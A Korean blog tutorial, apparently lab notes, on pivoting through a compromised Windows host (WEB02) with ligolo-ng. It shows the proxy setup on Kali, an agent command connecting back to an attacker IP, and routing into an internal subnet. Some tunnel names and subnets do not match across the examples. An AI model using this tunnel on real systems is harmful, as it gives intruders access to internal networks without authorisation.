우선 서버와 클라이언트에서 사용할 proxy, agent 바이너리 파일을 각각 다운받아야한다.
깃허브에서 다운로드.
SOCKS프록시를 사용하지 않기 때문에 설정 필요없고 간편하다.
kali에서 터널 준비 & 기동
sudo ip tuntap add user [your_username] mode tun [원하는 이름]
sudo ip link set [원하는 이름] up
버전이 0.6이상이라면 더 간편하게 아래의 커맨드로 터널 인터페이스를 만들 수 있다.
ligolo-ng » interface_create --name "evil-cha"
INFO[3185] Creating a new "evil-cha" interface...
INFO[3185] Interface created!
서버에서 원하는 포트 지정.
./proxy -selfcert -laddr "0.0.0.0:7878"
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
WARN[0000] Using self-signed certificates
WARN[0000] TLS Certificate fingerprint for ligolo is: 961A1B781DE6D16C89601ACCC6FF50A1BA11F96D9A6B880CD9EE0C4DA1B2E7DD
INFO[0000] Listening on 0.0.0.0:7878
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
Version: 0.7.5
ligolo-ng »
agent 바이너리 파일을 타겟 시스템에 배치한 후 아래의 명령어로 연결.
PS C:\temp> .\agent.exe -connect 192.168.45.211:7878 -ignore-cert
서버에서 접속된 것을 확인.
session명령어로 연결된 세션을 확인 할 수 있다.
ligolo-ng » INFO[0193] Agent joined. id=2f93be9e-5c04-4ff8-bc57-d091c33b86d2 name="NT Service\\MSSQL$SQLEXPRESS@WEB02" remote="192.168.165.121:65289"
ligolo-ng » session
? Specify a session : 1 - NT Service\MSSQL$SQLEXPRESS@WEB02 - 192.168.165.121:65289 - 2f93be9e-5c04-4ff8-bc57-d091c33b86d2
[Agent : NT Service\MSSQL$SQLEXPRESS@WEB02] »
[Agent : NT Service\MSSQL$SQLEXPRESS@WEB02] » ifconfig
┌───────────────────────────────────────────────┐
│ Interface 0 │
├──────────────┬────────────────────────────────┤
│ Name │ Ethernet0 │
│ Hardware MAC │ 00:50:56:ab:ad:c1 │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast|running │
│ IPv4 Address │ 192.168.165.121/24 │
└──────────────┴────────────────────────────────┘
┌───────────────────────────────────────────────┐
│ Interface 1 │
├──────────────┬────────────────────────────────┤
│ Name │ Ethernet1 │
│ Hardware MAC │ 00:50:56:ab:f2:9d │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast|running │
│ IPv4 Address │ 172.16.165.254/24 │
└──────────────┴────────────────────────────────┘
┌──────────────────────────────────────────────┐
│ Interface 2 │
├──────────────┬───────────────────────────────┤
│ Name │ Loopback Pseudo-Interface 1 │
│ Hardware MAC │ │
│ MTU │ -1 │
│ Flags │ up|loopback|multicast|running │
│ IPv6 Address │ ::1/128 │
│ IPv4 Address │ 127.0.0.1/8 │
└──────────────┴───────────────────────────────┘
프록시 경유로 접속하고 싶은 네트워크 대역을 라우팅 테이블에 추가.
$ sudo ip route add 172.16.157.0/24 dev [터널 이름] # 이 예시에서는 터널이름이 ligolo
아래의 명령어로 추가되었는지 확인.
ip route list
default via 172.27.16.1 dev eth0 proto kernel
172.16.157.0/24 dev ligolo scope link
172.27.16.0/20 dev eth0 proto kernel scope link src 172.27.26.112
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.165
192.168.157.0/24 via 192.168.45.254 dev tun0
혹은 버전 0.6이상이라면 아래의 커맨드로 더 간편.
ligolo-ng » interface_add_route --name evil-cha --route 192.168.2.0/24
INFO[3206] Route created.
여기까지했으면 설정 완료. 서버의 ligolo쉘로 돌아가서 start를 입력하면 프록시가 시작된다.
[Agent : NT Service\MSSQL$SQLEXPRESS@WEB02] » start --tun hong
[Agent : NT Service\MSSQL$SQLEXPRESS@WEB02] » INFO[0153] Starting tunnel to NT Service\MSSQL$SQLEXPRESS@WEB02 (b65486e1-4af3-411a-9b9e-2ea3d71d6ed9)
kali에서 설정한 네트워크에 문제없이 통신이 가능해진다.
참고자료
관련 유튜브 영상의 링크
참고한 블로그 링크
공식 깃허브 페이지 링크